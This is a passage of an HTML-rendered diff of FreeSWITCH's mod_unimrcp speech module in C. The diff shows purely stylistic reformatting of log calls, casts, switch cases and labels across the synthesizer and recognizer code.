</span><span class="cx">                 if (descriptor-&gt;name.length) {
</span><span class="cx">                         strncpy(codec_name, descriptor-&gt;name.buf, sizeof(codec_name));
</span><span class="cx">                 }
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) %s channel is ready, codec = %s, sample rate = %d\n&quot;, schannel-&gt;name, speech_channel_type_to_string(schannel-&gt;type), codec_name, schannel-&gt;rate);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) %s channel is ready, codec = %s, sample rate = %d\n&quot;, schannel-&gt;name,
+                                                  speech_channel_type_to_string(schannel-&gt;type), codec_name, schannel-&gt;rate);
</ins><span class="cx"> #else
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;(%s) %s channel is ready\n&quot;, schannel-&gt;name, speech_channel_type_to_string(schannel-&gt;type));
-#endif        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;(%s) %s channel is ready\n&quot;, schannel-&gt;name,
+                                                  speech_channel_type_to_string(schannel-&gt;type));
+#endif
</ins><span class="cx">                 speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
</span><span class="cx">                 /* notify of channel open */
</span><span class="cx">                 if (globals.enable_profile_events &amp;&amp; switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, MY_EVENT_PROFILE_OPEN) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1740,7 +1765,8 @@
</span><span class="cx">                 schannel-&gt;channel_opened = 1;
</span><span class="cx">         } else {
</span><span class="cx">                 if (schannel) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;(%s) %s channel error!\n&quot;, schannel-&gt;name, speech_channel_type_to_string(schannel-&gt;type));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;(%s) %s channel error!\n&quot;, schannel-&gt;name,
+                                                          speech_channel_type_to_string(schannel-&gt;type));
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;(unknown) channel error!\n&quot;);
</span><span class="cx">                 }
</span><span class="lines">@@ -1763,9 +1789,10 @@
</span><span class="cx">  * @param status the result of the channel remove request
</span><span class="cx">  * @return TRUE
</span><span class="cx">  */
</span><del>-static apt_bool_t speech_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status)
</del><ins>+static apt_bool_t speech_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel,
+                                                                                   mrcp_sig_status_code_e status)
</ins><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)mrcp_application_channel_object_get(channel);
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) mrcp_application_channel_object_get(channel);
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;(%s) %s channel is removed\n&quot;, schannel-&gt;name, speech_channel_type_to_string(schannel-&gt;type));
</span><span class="cx">         schannel-&gt;unimrcp_channel = NULL;
</span><span class="cx"> 
</span><span class="lines">@@ -1788,7 +1815,7 @@
</span><span class="cx">  */
</span><span class="cx"> static apt_bool_t synth_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)mrcp_application_channel_object_get(channel);
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) mrcp_application_channel_object_get(channel);
</ins><span class="cx">         if (message-&gt;start_line.message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
</span><span class="cx">                 /* received MRCP response */
</span><span class="cx">                 if (message-&gt;start_line.method_id == SYNTHESIZER_SPEAK) {
</span><span class="lines">@@ -1799,7 +1826,8 @@
</span><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_PROCESSING);
</span><span class="cx">                         } else {
</span><span class="cx">                                 /* received unexpected request_state */
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected SPEAK response, request_state = %d\n&quot;, schannel-&gt;name, message-&gt;start_line.request_state);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected SPEAK response, request_state = %d\n&quot;, schannel-&gt;name,
+                                                                  message-&gt;start_line.request_state);
</ins><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                         }
</span><span class="cx">                 } else if (message-&gt;start_line.method_id == SYNTHESIZER_STOP) {
</span><span class="lines">@@ -1810,12 +1838,14 @@
</span><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
</span><span class="cx">                         } else {
</span><span class="cx">                                 /* received unexpected request state */
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected STOP response, request_state = %d\n&quot;, schannel-&gt;name, message-&gt;start_line.request_state);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected STOP response, request_state = %d\n&quot;, schannel-&gt;name,
+                                                                  message-&gt;start_line.request_state);
</ins><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="cx">                         /* received unexpected response */
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected response, method_id = %d\n&quot;, schannel-&gt;name, (int)message-&gt;start_line.method_id);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected response, method_id = %d\n&quot;, schannel-&gt;name,
+                                                          (int) message-&gt;start_line.method_id);
</ins><span class="cx">                         speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                 }
</span><span class="cx">         } else if (message-&gt;start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
</span><span class="lines">@@ -1825,11 +1855,13 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) SPEAK-COMPLETE\n&quot;, schannel-&gt;name);
</span><span class="cx">                         speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected event, method_id = %d\n&quot;, schannel-&gt;name, (int)message-&gt;start_line.method_id);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected event, method_id = %d\n&quot;, schannel-&gt;name,
+                                                          (int) message-&gt;start_line.method_id);
</ins><span class="cx">                         speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected message type, message_type = %d\n&quot;, schannel-&gt;name, message-&gt;start_line.message_type);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected message type, message_type = %d\n&quot;, schannel-&gt;name,
+                                                  message-&gt;start_line.message_type);
</ins><span class="cx">                 speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1846,7 +1878,7 @@
</span><span class="cx"> static apt_bool_t synth_stream_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame)
</span><span class="cx"> {
</span><span class="cx">         switch_size_t size = frame-&gt;codec_frame.size;
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)stream-&gt;obj;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) stream-&gt;obj;
</ins><span class="cx">         speech_channel_write(schannel, frame-&gt;codec_frame.buffer, &amp;size);
</span><span class="cx">         return TRUE;
</span><span class="cx"> }
</span><span class="lines">@@ -1862,7 +1894,7 @@
</span><span class="cx"> {
</span><span class="cx">         /* link to FreeSWITCH ASR / TTS callbacks */
</span><span class="cx">         switch_speech_interface_t *speech_interface = NULL;
</span><del>-        if ((speech_interface = (switch_speech_interface_t *)switch_loadable_module_create_interface(module_interface, SWITCH_SPEECH_INTERFACE)) == NULL) {
</del><ins>+        if ((speech_interface = (switch_speech_interface_t *) switch_loadable_module_create_interface(module_interface, SWITCH_SPEECH_INTERFACE)) == NULL) {
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         speech_interface-&gt;interface_name = MOD_UNIMRCP;
</span><span class="lines">@@ -1876,7 +1908,7 @@
</span><span class="cx">         speech_interface-&gt;speech_float_param_tts = synth_speech_float_param_tts;
</span><span class="cx"> 
</span><span class="cx">         /* Create the synthesizer application and link its callbacks to UniMRCP */
</span><del>-        if ((globals.synth.app = mrcp_application_create(synth_message_handler, (void *)0, pool)) == NULL) {
</del><ins>+        if ((globals.synth.app = mrcp_application_create(synth_message_handler, (void *) 0, pool)) == NULL) {
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         globals.synth.dispatcher.on_session_update = NULL;
</span><span class="lines">@@ -1889,7 +1921,7 @@
</span><span class="cx">         globals.synth.audio_stream_vtable.close_rx = NULL;
</span><span class="cx">         globals.synth.audio_stream_vtable.read_frame = NULL;
</span><span class="cx">         globals.synth.audio_stream_vtable.open_tx = NULL;
</span><del>-        globals.synth.audio_stream_vtable.close_tx =  NULL;
</del><ins>+        globals.synth.audio_stream_vtable.close_tx = NULL;
</ins><span class="cx">         globals.synth.audio_stream_vtable.write_frame = synth_stream_write;
</span><span class="cx">         mrcp_client_application_register(globals.mrcp_client, globals.synth.app, &quot;synth&quot;);
</span><span class="cx"> 
</span><span class="lines">@@ -1929,7 +1961,7 @@
</span><span class="cx">  *
</span><span class="cx">  * @return SWITCH_STATUS_SUCCESS
</span><span class="cx">  */
</span><del>-static switch_status_t synth_shutdown() 
</del><ins>+static switch_status_t synth_shutdown()
</ins><span class="cx"> {
</span><span class="cx">         if (globals.synth.fs_param_map) {
</span><span class="cx">                 switch_core_hash_destroy(&amp;globals.synth.fs_param_map);
</span><span class="lines">@@ -1950,10 +1982,10 @@
</span><span class="cx">  * @param pool memory pool to allocate from
</span><span class="cx">  * @return SWITCH_STATUS_SUCCESS if successful
</span><span class="cx">  */
</span><del>-static switch_status_t grammar_create(grammar_t **grammar, const char *name, grammar_type_t type, const char *data, switch_memory_pool_t *pool)
</del><ins>+static switch_status_t grammar_create(grammar_t ** grammar, const char *name, grammar_type_t type, const char *data, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        grammar_t *g = (grammar_t *)switch_core_alloc(pool, sizeof(grammar_t));
</del><ins>+        grammar_t *g = (grammar_t *) switch_core_alloc(pool, sizeof(grammar_t));
</ins><span class="cx">         if (g == NULL) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 *grammar = NULL;
</span><span class="lines">@@ -1975,13 +2007,19 @@
</span><span class="cx">  */
</span><span class="cx"> static const char *grammar_type_to_mime(grammar_type_t type, profile_t *profile)
</span><span class="cx"> {
</span><del>-        switch(type) {
-                case GRAMMAR_TYPE_UNKNOWN: return &quot;&quot;;
-                case GRAMMAR_TYPE_URI: return &quot;text/uri-list&quot;;
-                case GRAMMAR_TYPE_SRGS: return profile-&gt;srgs_mime_type;
-                case GRAMMAR_TYPE_SRGS_XML: return profile-&gt;srgs_xml_mime_type;
-                case GRAMMAR_TYPE_NUANCE_GSL: return profile-&gt;gsl_mime_type;
-                case GRAMMAR_TYPE_JSGF: return profile-&gt;jsgf_mime_type;
</del><ins>+        switch (type) {
+        case GRAMMAR_TYPE_UNKNOWN:
+                return &quot;&quot;;
+        case GRAMMAR_TYPE_URI:
+                return &quot;text/uri-list&quot;;
+        case GRAMMAR_TYPE_SRGS:
+                return profile-&gt;srgs_mime_type;
+        case GRAMMAR_TYPE_SRGS_XML:
+                return profile-&gt;srgs_xml_mime_type;
+        case GRAMMAR_TYPE_NUANCE_GSL:
+                return profile-&gt;gsl_mime_type;
+        case GRAMMAR_TYPE_JSGF:
+                return profile-&gt;jsgf_mime_type;
</ins><span class="cx">         }
</span><span class="cx">         return &quot;&quot;;
</span><span class="cx"> }
</span><span class="lines">@@ -2014,19 +2052,19 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        r = (recognizer_data_t *)schannel-&gt;data;
</del><ins>+        r = (recognizer_data_t *) schannel-&gt;data;
</ins><span class="cx">         r-&gt;result = NULL;
</span><span class="cx">         r-&gt;start_of_input = 0;
</span><span class="cx"> 
</span><span class="cx">         /* input timers are started by default unless the start-input-timers=false param is set */
</span><del>-        start_input_timers = (char *)switch_core_hash_find(schannel-&gt;params, &quot;start-input-timers&quot;);
</del><ins>+        start_input_timers = (char *) switch_core_hash_find(schannel-&gt;params, &quot;start-input-timers&quot;);
</ins><span class="cx">         r-&gt;timers_started = zstr(start_input_timers) || strcasecmp(start_input_timers, &quot;false&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* get the cached grammar */
</span><span class="cx">         if (zstr(name)) {
</span><span class="cx">                 grammar = r-&gt;last_grammar;
</span><span class="cx">         } else {
</span><del>-                grammar = (grammar_t *)switch_core_hash_find(r-&gt;grammars, name);
</del><ins>+                grammar = (grammar_t *) switch_core_hash_find(r-&gt;grammars, name);
</ins><span class="cx">                 r-&gt;last_grammar = grammar;
</span><span class="cx">         }
</span><span class="cx">         if (grammar == NULL) {
</span><span class="lines">@@ -2047,7 +2085,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* allocate generic header */
</span><del>-        generic_header = (mrcp_generic_header_t *)mrcp_generic_header_prepare(mrcp_message);
</del><ins>+        generic_header = (mrcp_generic_header_t *) mrcp_generic_header_prepare(mrcp_message);
</ins><span class="cx">         if (generic_header == NULL) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -2069,14 +2107,14 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* allocate recognizer-specific header */
</span><del>-        recog_header = (mrcp_recog_header_t *)mrcp_resource_header_prepare(mrcp_message);
</del><ins>+        recog_header = (mrcp_recog_header_t *) mrcp_resource_header_prepare(mrcp_message);
</ins><span class="cx">         if (recog_header == NULL) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* set Cancel-If-Queue */
</span><del>-        if (mrcp_message-&gt;start_line.version == MRCP_VERSION_2) {        
</del><ins>+        if (mrcp_message-&gt;start_line.version == MRCP_VERSION_2) {
</ins><span class="cx">                 recog_header-&gt;cancel_if_queue = FALSE;
</span><span class="cx">                 mrcp_resource_header_property_add(mrcp_message, RECOGNIZER_HEADER_CANCEL_IF_QUEUE);
</span><span class="cx">         }
</span><span class="lines">@@ -2104,7 +2142,7 @@
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(schannel-&gt;mutex);
</span><span class="cx">         return status;
</span><span class="lines">@@ -2145,9 +2183,9 @@
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 /* set Content-Type and Content-ID in message */
</span><del>-                generic_header = (mrcp_generic_header_t *)mrcp_generic_header_prepare(mrcp_message);
</del><ins>+                generic_header = (mrcp_generic_header_t *) mrcp_generic_header_prepare(mrcp_message);
</ins><span class="cx">                 if (generic_header == NULL) {
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -2161,7 +2199,7 @@
</span><span class="cx">                 mrcp_generic_header_property_add(mrcp_message, GENERIC_HEADER_CONTENT_TYPE);
</span><span class="cx">                 apt_string_assign(&amp;generic_header-&gt;content_id, name, mrcp_message-&gt;pool);
</span><span class="cx">                 mrcp_generic_header_property_add(mrcp_message, GENERIC_HEADER_CONTENT_ID);
</span><del>-        
</del><ins>+
</ins><span class="cx">                 /* put grammar in message body */
</span><span class="cx">                 apt_string_assign(&amp;mrcp_message-&gt;body, data, mrcp_message-&gt;pool);
</span><span class="cx"> 
</span><span class="lines">@@ -2190,12 +2228,12 @@
</span><span class="cx"> 
</span><span class="cx">         /* Create the grammar and save it */
</span><span class="cx">         if ((status = grammar_create(&amp;g, name, type, data, schannel-&gt;memory_pool)) == SWITCH_STATUS_SUCCESS) {
</span><del>-                recognizer_data_t *r = (recognizer_data_t *)schannel-&gt;data;
</del><ins>+                recognizer_data_t *r = (recognizer_data_t *) schannel-&gt;data;
</ins><span class="cx">                 switch_core_hash_insert(r-&gt;grammars, g-&gt;name, g);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
-        
</del><ins>+  done:
+
</ins><span class="cx">         switch_mutex_unlock(schannel-&gt;mutex);
</span><span class="cx">         switch_safe_free(ldata);
</span><span class="cx"> 
</span><span class="lines">@@ -2216,7 +2254,7 @@
</span><span class="cx">         if (zstr(grammar_name)) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         } else {
</span><del>-                recognizer_data_t *r = (recognizer_data_t *)schannel-&gt;data;
</del><ins>+                recognizer_data_t *r = (recognizer_data_t *) schannel-&gt;data;
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) Unloading grammar %s\n&quot;, schannel-&gt;name, grammar_name);
</span><span class="cx">                 switch_core_hash_delete(r-&gt;grammars, grammar_name);
</span><span class="cx">         }
</span><span class="lines">@@ -2229,12 +2267,12 @@
</span><span class="cx">  *
</span><span class="cx">  * @return SWITCH_STATUS_SUCCESS if results available or start of input
</span><span class="cx">  */
</span><del>-static switch_status_t recog_channel_check_results(speech_channel_t *schannel) 
</del><ins>+static switch_status_t recog_channel_check_results(speech_channel_t *schannel)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         recognizer_data_t *r;
</span><span class="cx">         switch_mutex_lock(schannel-&gt;mutex);
</span><del>-        r = (recognizer_data_t *)schannel-&gt;data;
</del><ins>+        r = (recognizer_data_t *) schannel-&gt;data;
</ins><span class="cx">         if (!zstr(r-&gt;result)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) SUCCESS, have result\n&quot;, schannel-&gt;name);
</span><span class="cx">         } else if (r-&gt;start_of_input) {
</span><span class="lines">@@ -2255,7 +2293,7 @@
</span><span class="cx"> static switch_status_t recog_channel_start_input_timers(speech_channel_t *schannel)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        recognizer_data_t *r = (recognizer_data_t *)schannel-&gt;data;
</del><ins>+        recognizer_data_t *r = (recognizer_data_t *) schannel-&gt;data;
</ins><span class="cx">         switch_mutex_lock(schannel-&gt;mutex);
</span><span class="cx"> 
</span><span class="cx">         if (schannel-&gt;state == SPEECH_CHANNEL_PROCESSING &amp;&amp; !r-&gt;timers_started) {
</span><span class="lines">@@ -2272,7 +2310,7 @@
</span><span class="cx">                 mrcp_application_message_send(schannel-&gt;unimrcp_session, schannel-&gt;unimrcp_channel, mrcp_message);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(schannel-&gt;mutex);
</span><span class="cx">         return status;
</span><span class="lines">@@ -2289,7 +2327,7 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         recognizer_data_t *r;
</span><span class="cx">         switch_mutex_lock(schannel-&gt;mutex);
</span><del>-        r = (recognizer_data_t *)schannel-&gt;data;
</del><ins>+        r = (recognizer_data_t *) schannel-&gt;data;
</ins><span class="cx">         r-&gt;start_of_input = 1;
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) start of input\n&quot;, schannel-&gt;name);
</span><span class="cx">         switch_mutex_unlock(schannel-&gt;mutex);
</span><span class="lines">@@ -2308,7 +2346,7 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         recognizer_data_t *r;
</span><span class="cx">         switch_mutex_lock(schannel-&gt;mutex);
</span><del>-        r = (recognizer_data_t *)schannel-&gt;data;
</del><ins>+        r = (recognizer_data_t *) schannel-&gt;data;
</ins><span class="cx">         if (!zstr(r-&gt;result)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) result is already set\n&quot;, schannel-&gt;name);
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -2322,7 +2360,7 @@
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) result:\n\n%s\n&quot;, schannel-&gt;name, result);
</span><span class="cx">         r-&gt;result = switch_core_strdup(schannel-&gt;memory_pool, result);
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(schannel-&gt;mutex);
</span><span class="cx">         return status;
</span><span class="lines">@@ -2338,7 +2376,7 @@
</span><span class="cx"> static switch_status_t recog_channel_get_results(speech_channel_t *schannel, char **result)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        recognizer_data_t *r = (recognizer_data_t *)schannel-&gt;data;
</del><ins>+        recognizer_data_t *r = (recognizer_data_t *) schannel-&gt;data;
</ins><span class="cx">         switch_mutex_lock(schannel-&gt;mutex);
</span><span class="cx">         if (!zstr(r-&gt;result)) {
</span><span class="cx">                 *result = strdup(r-&gt;result);
</span><span class="lines">@@ -2352,7 +2390,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_unlock(schannel-&gt;mutex);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -2366,7 +2404,8 @@
</span><span class="cx">  * @param recog_hdr the recognizer headers to set
</span><span class="cx">  * @return SWITCH_STATUS_SUCCESS
</span><span class="cx">  */
</span><del>-static switch_status_t recog_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_recog_header_t *recog_hdr)
</del><ins>+static switch_status_t recog_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr,
+                                                                                                mrcp_recog_header_t *recog_hdr)
</ins><span class="cx"> {
</span><span class="cx">         /* loop through each param and add to recog header or vendor-specific-params */
</span><span class="cx">         switch_hash_index_t *hi = NULL;
</span><span class="lines">@@ -2375,10 +2414,10 @@
</span><span class="cx">                 const void *key;
</span><span class="cx">                 void *val;
</span><span class="cx">                 switch_hash_this(hi, &amp;key, NULL, &amp;val);
</span><del>-                param_name = (char *)key;
-                param_val = (char *)val;
</del><ins>+                param_name = (char *) key;
+                param_val = (char *) val;
</ins><span class="cx">                 if (!zstr(param_name) &amp;&amp; !zstr(param_val)) {
</span><del>-                        unimrcp_param_id_t *id = (unimrcp_param_id_t *)switch_core_hash_find(schannel-&gt;application-&gt;param_id_map, param_name);
</del><ins>+                        unimrcp_param_id_t *id = (unimrcp_param_id_t *) switch_core_hash_find(schannel-&gt;application-&gt;param_id_map, param_name);
</ins><span class="cx">                         if (id) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) \&quot;%s\&quot;: \&quot;%s\&quot;\n&quot;, schannel-&gt;name, param_name, param_val);
</span><span class="cx">                                 recog_channel_set_header(schannel, id-&gt;id, param_val, msg, recog_hdr);
</span><span class="lines">@@ -2387,7 +2426,7 @@
</span><span class="cx">                                 apt_str_t apt_param_name = { 0 };
</span><span class="cx">                                 apt_str_t apt_param_val = { 0 };
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) (vendor-specific value) %s: %s\n&quot;, schannel-&gt;name, param_name, param_val);
</span><del>-                                apt_string_set(&amp;apt_param_name, param_name); /* copy isn't necessary since apt_pair_array_append will do it */
</del><ins>+                                apt_string_set(&amp;apt_param_name, param_name);        /* copy isn't necessary since apt_pair_array_append will do it */
</ins><span class="cx">                                 apt_string_set(&amp;apt_param_val, param_val);
</span><span class="cx">                                 if (!gen_hdr-&gt;vendor_specific_params) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) creating vendor specific pair array\n&quot;, schannel-&gt;name);
</span><span class="lines">@@ -2397,7 +2436,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (gen_hdr-&gt;vendor_specific_params) {
</span><span class="cx">                 mrcp_generic_header_property_add(msg, GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS);
</span><span class="cx">         }
</span><span class="lines">@@ -2421,94 +2460,95 @@
</span><span class="cx"> 
</span><span class="cx">         switch (id) {
</span><span class="cx">         case RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD:
</span><del>-                recog_hdr-&gt;confidence_threshold = (float)atof(val);
</del><ins>+                recog_hdr-&gt;confidence_threshold = (float) atof(val);
</ins><span class="cx">                 mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD);
</span><span class="cx">                 break;
</span><span class="cx"> 
</span><span class="cx">         case RECOGNIZER_HEADER_SENSITIVITY_LEVEL:
</span><del>-                recog_hdr-&gt;sensitivity_level = (float)atof(val);
</del><ins>+                recog_hdr-&gt;sensitivity_level = (float) atof(val);
</ins><span class="cx">                 mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SENSITIVITY_LEVEL);
</span><span class="cx">                 break;
</span><span class="cx"> 
</span><span class="cx">         case RECOGNIZER_HEADER_SPEED_VS_ACCURACY:
</span><del>-                recog_hdr-&gt;speed_vs_accuracy = (float)atof(val);
</del><ins>+                recog_hdr-&gt;speed_vs_accuracy = (float) atof(val);
</ins><span class="cx">                 mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEED_VS_ACCURACY);
</span><span class="cx">                 break;
</span><span class="cx"> 
</span><del>-        case RECOGNIZER_HEADER_N_BEST_LIST_LENGTH: {
-                int n_best_list_length = atoi(val);
-                if (n_best_list_length &gt; 0) {
-                        recog_hdr-&gt;n_best_list_length = n_best_list_length;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_N_BEST_LIST_LENGTH);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid n best list length, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
</del><ins>+        case RECOGNIZER_HEADER_N_BEST_LIST_LENGTH:{
+                        int n_best_list_length = atoi(val);
+                        if (n_best_list_length &gt; 0) {
+                                recog_hdr-&gt;n_best_list_length = n_best_list_length;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_N_BEST_LIST_LENGTH);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid n best list length, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
-        case RECOGNIZER_HEADER_NO_INPUT_TIMEOUT: {
-                int no_input_timeout = atoi(val);
-                if (no_input_timeout &gt;= 0) {
-                        recog_hdr-&gt;no_input_timeout = no_input_timeout;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_NO_INPUT_TIMEOUT);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid no input timeout, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
</del><ins>+        case RECOGNIZER_HEADER_NO_INPUT_TIMEOUT:{
+                        int no_input_timeout = atoi(val);
+                        if (no_input_timeout &gt;= 0) {
+                                recog_hdr-&gt;no_input_timeout = no_input_timeout;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_NO_INPUT_TIMEOUT);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid no input timeout, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
-        case RECOGNIZER_HEADER_RECOGNITION_TIMEOUT: { 
-                int recognition_timeout = atoi(val);
